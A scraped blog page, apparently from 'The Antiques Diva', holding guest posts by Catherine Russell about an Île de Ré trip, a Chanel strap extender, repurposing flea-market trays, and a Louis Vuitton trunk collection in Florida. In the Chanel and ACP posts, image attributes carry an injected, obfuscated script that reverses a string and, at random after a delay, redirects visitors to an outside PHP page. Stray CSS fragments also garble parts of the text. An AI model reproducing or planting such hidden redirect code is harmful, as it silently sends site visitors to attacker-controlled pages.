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Catherine Russell

Antiques & Salted Caramels

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Before I was The Antiques Diva… I was just plain ole me. Toma.  Sometimes I miss those days when I was footloose and fancy free… when I didn’t work, when I traveled Europe with my friends, drank champagne every afternoon…. Life was a a constant pleasure ride. Oh wait….  That’s my life now! Okay…today I’m not exactly “footloose and fancy free” as now I tend to manage my agenda like a drill sergeant, speaking in one country one day, leading a tour in another country another day, and researching yet another country for an article on another day…. but the fact is I am incredibly fortunate – I’ve built a company and get paid to live a life I love living.  Nevertheless, I have such fond memories of my first 5 years living in Europe when legally the French government had denied me my work visa and I was an expat wife hanging out with my girlfriends. One of those girlfriends was my dear friend Catherine, who has also since come out of expat-wife retirement and runs a brilliant social media consultancy firm called Hire Catherine.

Today’s blog is actually a Guest Blog From Catherine who has written with fondness about those days of yore….

So Ta Ta from me… And Hello From Catherine of Hire Catherine!

freelance-content-writer, Hire Catherine, Catherine Russell

I recently moved (yes, again: I actually moved 5 times in the last year, don’t ask!) and the movers delivered box after box after box, including some boxes that I had not seen or opened since moving from Europe 10 years ago. So I was more than excited to unpack one long-forgotten box and discover:

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Souvenirs…  Souvenir (French): memory (English)

In 2004 four Paris friends organized their 1st of many-to-come girls trips. I’d been wanting to visit Île de Ré for several years, and as we were leaving Paris for Copenhagen in a few months, it felt like now or never. Toma was moving to Amsterdam, Tam returning to the US, and Stacey had just returned to Paris from a year in Tokyo. Things were changing, so we decided: Girls Trip!

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Île de Ré is an island off the western coast of France, easily reached from Paris by TGV. I’d been reading about Île de Ré for years, and I’d made a list of must-dos:

  • Visit the salt fields
  • Salted caramel ice cream
  • The antique shop Barbotine
  • Fresh from the ocean oysters and seafood
  • Biking around the island

We scheduled our dates, and off we went for a 4-day visit to the village of Saint-Martin, Île de Ré in the beautiful month of May, before the island is overrun with tourists.

Bien sur: we checked off every item on my checklist, (and couldn’t get enough of the salted caramel ice cream!) and without a doubt my favorite souvenir of our girl’s trip to Île de Ré was our visit to Barbotine.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Roaming the aisles, I finally spotted the perfect souvenir of our Île de Ré trip: an antique pale gray candelabra, dangling with crystals and sparkling with charm. I no longer remember the price, but whatever I paid it was worth it. What I do remember was I was not happy with the cost to ship my new antique candelabra to Paris: so after making the snap decision to buy it, I decided to carry my new fixture home with me on the train. With 3 friends to help, the candelabra made it safely to my apartment on rue de Prony, where I inserted candles and hung it from our living room ceiling.

4 months later, the movers took down the candelabra, packed it up, and we moved to Copenhagen.

Fast-forward 10 years and I was unpacking boxes in Delray Beach, Florida from New York, Chicago, Boynton Beach and many storage units. And there was my beautiful souvenir candelabra, which I’d completely forgotten about over the years. My new 12 foot ceilings were perfect to showcase the candelabra, but I decided to have the fixture rewired, so took it to a local lighting repair store, Quality Lighting in Delray Beach. I left instructions to rewire the chandelier, so I didn’t have to worry about frayed or fragile electrical wires.

3 days later Quality called: the fixture was not wired for electricity! Somewhere between purchasing my antique candelabra and 10 years later hanging it again, I’d forgotten the fixture was never wired. That explained why I used candles 10 years earlier! I gave the go-ahead to wire the candelabra, and $400 later (gulp!) I have a beautiful chandelier in my living room.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Several weeks after hanging my chandelier, I was continuing to unpack boxes and discovered another souvenir of Île de Ré and friendship, which I’d forgotten Toma had given me many years ago.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

The Best Antiques are Old Friends

For readers ready to head to the Île de Ré , remember it’s just a hop skip and a jump from Bordeaux – which makes it perfect for adding on to an Antiques Diva Bordeaux Tour.

Bon Voyage!
The Antiques Diva – with a little help from a friend.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines
(Seen here in a more recent pic taken at Villa Vizcaya on yet anthers girls trip!  We’re still taking them…. just now we tend to squeeze them in around work commitments, etc.)

Vintage Chanel Gets an Upgrade

Dear Diva Readers,

hire catherine, Vintage Chanel, Hire Catherine, Catherine Russell, Toma Clark Haines, The Antiques Diva, Repurposing, Vintage Purses, Maut<script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to, Lynette Sedenquist” width=”250″ height=”250″ />

My dear friend Catherine, a social media expert and content curator, and I have known each other for ages.  We lived in Paris together back at the start of the millineum and have been shopping the world together ever since.  She was with me when my I first developed my passion for Chanel and so I was so excited when she emailed me recently to say she was lucky to be gifted a vintage Chanel camera bag for Christmas.  It was everything she was looking for….

  • black lambskin
  • quilted patent leather
  • tassel
  • gold chain strap
  • front outer pocket with CC logo
  • inside zip pocket

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The bag was perfect for life in the city: the right size to hold a wallet, smart phone, keys and lipstick. Not too big or heavy, waterproof for year-round walking the streets of NYC. And it would fit easily inside her LV shopper carry-on when traveling.

She had been coveting the purse for several weeks, but with the holidays coming it wasn’t the time to buy herself a gift. But Santa’s helper must have whispered in her husband’s ear, because on Christmas morning the little black bag was hers! All Hers!

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Catherine writes,

“We were heading out for dinner, and I decided it was a good night to try out my new bag. The bag looked stunning against my black and gold coat: as a shoulder bag. The chain strap was simply too short to use as a cross-body, the purse rested snugly above my waist. Living in the city I strongly prefer the convenience of a cross-body purse, easy for hands-free walking, subway rides and carrying groceries home.

The next few days I did some online research and discovered Mautto, makers of purse straps, replacement straps and handbag accessories. After studying their prices and photos, I ordered a 12” strap extender made of gold chain and black leather with mini hooks. $31.00 less 10% first-time customer coupon, for $27.90 shipping included. Express delivery is available starting at $12.99.

Because I decided to travel after I ordered the strap extender, I emailed Lynette, the owner of Mautto, and changed my shipping address. Lynette couldn’t have been nicer or more prompt with her response: perfect customer service.

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The strap arrived in less than 2 weeks (with another 10% discount coupon), and I easily attached it to my Chanel chain strap with the tiny gold hooks. The length is perfect: my cross-body now rests comfortably on my hip. And you can barely notice where the strap extender attaches to the original chain strap.

I have a myrtille blue Louis Vuitton Speedy bag and have been searching to find a matching strap; unfortunately LV discontinued the myrtille color a few years ago. I’ll be purchasing my strap from Mautto – with the 10% discount coupon!

Thanks, Lynette!

The Details:

Lynette Sedenquist
to.com/”>http://www.mautto.com/
toHandbags”>www.facebook.com/MauttoHandbags
toHandbags”>www.instagram.com/MauttoHandbags

The Mautto website is easy to use with lots of pictures and examples of their custom straps and extenders. A blog, photo gallery and tips make it easy to pick your best solution from the literally hundreds of combinations possible – Mautto has dozens of colors, metals, hook styles, and accessories to choose from. They also provide custom solutions to your designer bag strap dilemmas.”

At The Antiques Diva & Co we love vintage fashion and we love repurposing items to fit modern day living!! What an excellent idea Catherine shared!  How are you repurposing your vintage fashion items?

The Antiques Diva®

Repurpose Flea Market Finds

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Everyone knows that I love to go flea marketing… I love the thrill of the hunt as well as finding the unexpected.  I also LOVE nothing more than coming up with ways to repurpose my flea market finds! My good friend Catherine Russell has traveled (and shopped) the world with me on a variety of girls trips… She’s a really bad influence because she, like me, is a repurposing genius.  I’ve asked Catherine to share some of her repurposing tips on the blog today.

Catherine writes:

Nothing beats a weekend morning spent browsing the flea markets and discovering some forgotten treasures that are too good a deal to pass by.  I’m always searching for easy, useful and decorative DIY ideas to repurpose my finds, and I found two great ways to repurpose trays and platters. If you can follow my photos and instructions, these DIY projects are great for your home.

repurposed vintage tray - DIY memo board, Repurposing Flea Market Finds, Repurposing Vintage Trays, Decorating with Trays, Catherine Russell

MEMO BOARD & CHALK BOARD

This craft project is both useful and decorative for the kitchen or office. You can find vintage trays in many shapes and sizes, so you can easily find a tray to fit an empty spot in your home to organize business cards, receipts, recipes, and delivery menus or to write messages, notes, or grocery lists.

Supplies:

1 A clean metal tray with a smooth surface

2 Chalk board paint (easily found at a craft or hardware store)

3 A paintbrush (I like the disposable sponge brushes)

Instructions:

1 Wash and dry the tray

2 Paint with 2 coats of chalk board paint, allowing to dry completely between coats. I like to paint the flat interior and leave the rim original, but you can also paint the entire surface.

Decorate the tray with fun magnets to hold your notes, and keep a stick of chalk nearby to jot down a quick note. That’s it!  I attached my tray to the kitchen wall with double-sided 3M adhesive strips so there are no holes to drill or marks left on the wall.

Et voila! Your tray is ready to use or to give as a gift.

(Hmmm… you’ll NOTE my friend Catherine has not GIFTED me one of these…. I’m putting in my request now!)

repurposed vintage serving pieces and trays- DIY art, Repurposing Flea Market Finds, Repurposing Vintage Trays, Decorating with Trays, Catherine Russell

TRAY ART

An eclectic collection of trays and serving pieces of varying sizes, shapes and colors are all that’s necessary to create an original art piece. After the fun of collecting trays is long past, your original art piece will decorate your home for years.

Tip: This is a great way to repurpose cherished family trays and serving pieces as well!

Supplies:

1 An assortment of trays that nest inside each other

2 A small mirror

3 Metal glue (I use Gorilla Glue but many craft glues are designed for metal)

 

Instructions:

1 Wash and dry the trays

2 Arrange the trays to next inside of each other to show off the trays varying sizes and colors

3 Glue each tray on top of each other and allow to dry completely

4 Glue a mirror or other decorative item (crystals, lace, a photograph) in the center of the top tray

Hang and display. A small tray collage can be hung on the walls using 3M adhesive strips, heavier trays will require a plate hanger or drilling a hole and attaching hooks and wire to hang securely on your walls.

Trays can also be organized and glued as wreaths, a collage, or other interesting shapes.

Next time you hit the flea market look for vintage trays and serving pieces. They can easily be found for very little money— $1-5, are small and light weight so they’re perfect to collect on vacations, and there are many ways to repurpose vintage trays to use in your home or as gifts.

vintage flea market trays and serving pieces, Repurposing Flea Market Finds, Repurposing Vintage Trays, Decorating with Trays, Catherine Russell

Here are a few more ideas to repurpose and showcase your vintage tray collection:

1 Group and display a collection of trays on the wall as art

2 Decoupage a photo, art or wallpaper and use to hold jewelry on your vanity or dresser

3 On your coffee table to corral a collection of books, picture frames, and small objects

4 Use your chalkboard tray to write the family dinner menu

5 Spray paint for holiday themed message boards

Happy Flea Marketing!

Catherine Russell, Toma Clark haines, The Antiques Diva, Stacey Thompson

The Antiques Diva® & Co – With a little help with a guest blog from a good friend!
Catherine Russell is a genius content marketer, freelance blogger and social media strategist who loves travel, antiquing,  and chai lattes. Contact Catherine at hireCatherine for digital marketing solutions and strategies, and follow her blog She’s Shopping Now.

 

Largest Louis Vuitton Collection in North America

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>While I’m traveling stateside this week speaking in Chicago and for Market in Vegas my dear friend and mentor, Catherine Russell, a writer, blogger for hire and social media consultant is helping out by sharing a guest blog post!

Catherine is one of those amazing people who divides her time between 3 residences – Chicago, Southern Florida and New York.  This not only makes her a great friend to crash with when traveling, but also means she is a great local “tour” guide, always showing me her newest discoveries. I particularly like visiting her in SoFlo as there are a plethora of brilliant antiques under the Floridan sun.  Today she’s sharing with you a recent “Divascovery” in Florida.

Catherine writes:
The storefront is attractive but not attention grabbing: I drive past ACP Home Interiors several times a day, always meaning to stop in and investigate what’s behind the Antiques & Country Pine sign. Finally, after several years of drive-bys, I stopped in. And discovered a South Florida gem I’d been missing out on.

ACP has been in Delray Beach, Florida for nearly 20 years, founded by Brit expat Bernard Molyneux and now run by Bernard and his wife Stephanie. I learned The Bernard Molyneux Collection is carefully curated with crafted reproductions of European-inspired furniture and is available in 30 retail stores across the country (as well as the Florida store, they have a shop and showroom in Atlanta that sells the collection).

ACP Home Interiors, Louis Vuit<script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}ton Trunks, Delray Beach Florida, Bernard Molyneux, Lifestyle shop, ” width=”600″ height=”398″ />

From my first steps into the lifestyle shop I loved the mix of light wood French Country reproductions, furnishings and accent pieces, blended with the blues and greens of seaside living: coastal chic, the way I live today. As I wandered from room to room of this former home which showcases the furnishings in a homelike setting, it reminded me of a designer showcase home: but with every nook and corner accessorized and styled to the hilt! The displays are luxurious, indulgent mélanges of practical necessities of daily life and totally decorative and charming imaginative vignettes depicting a charming but elegant seaside home.

Speaking with the team staffing ACP, I learned two things:

  1. There is a HUGE warehouse about 20 miles south filled with both reproductions and antiques furnishings.
  2. That warehouse holds most of Bernard Molyneux’s collection of refurbished Louis Vuitton trunks and cases.

Yes – you heard me right.  The REAL reason I’m sharing this discovery today isn’t the reproductions (which are gorgeous) but the gold mine off site.

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I had accidentally stumbled across one of the largest collections of vintage Louis Vuitton trunks in North America! I wandered the store, asked a few more questions, and promised to come back a day or two later with more questions.

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On my second visit to ACP Home Interiors, I reintroduced myself, and was surprised to find the gentleman answering my questions was Bernard Molyneux himself! Tall and charming, he told me a bit of his background, and when I explained my double-mission of exploring ACP for my own home décor needs, and sharing ACP with my friend The Antiques Diva®, he welcomed my interest, but assured me he was not involved with “blogging and twitter.” (This is clearly true: I’m a blogger for hire at HireCatherine and  my research proved that while ACP Home Interiors has an easily found website and Facebook page, the website has beautiful photos but is not updated: the most recent update on ACPInteriors.com appears to be 2012; however Facebook has regular updates- including some gorgeous photos!)

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I made the 20 mile trek down 95S to Deerfield Beach, followed some winding and confusing roads through a large warehouse are filled with look-a-like low rise building, and after a few missteps found a small sandwich board saying Antiques and Country Pine OPEN. I started wandering room to room, saw some LV cases interspersed among the stylized room settings, and the jackpot! The Louis Vuitton Room. Several dozen Louis Vuitton trunks and cases, an LV golf bag, framed LV ads, as well as several non-LV trunks cowhide, aluminum and leather. Jackpot!

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A few facts about Bernard Molyneux and his collection of refurbished vintage Louis Vuitton trunks and cases:

-Bernard began collecting vintage Louis Vuitton trunks and cases as a hobby over 20 years ago

-He amassed such a collection he could no longer keep them at home, and began re-selling them in his shop and at antiques shows.

-The collection is one of the largest of LV trunks and cases in North America.

-Most of the collection is now at the Deerfield warehouse and available for sale.

-Select pieces are featured in the ACP online catalog.

The Details:

-ACP Home Interiors 2050 N. Federal Highway, Delray Beach, FL 954.481.1917

-ACP Warehouse 1240 E. Newport Center Drive, Deerfield Beach, FL 954.481.1817

-ACP Home Interiors 1452 Chattahooche Ave, Atlanta, GA 404.231.1233

My tip: When shopping at ACP, ask if the market price is their best price. The ACP team seems very open to making sure the customer is happy and negotiating a special price!

Catherine Russell
HireCatherine
http://hirecatherine.com

Catherine Russel, HireCatherine, Blogger, Social Media Guru, Maven

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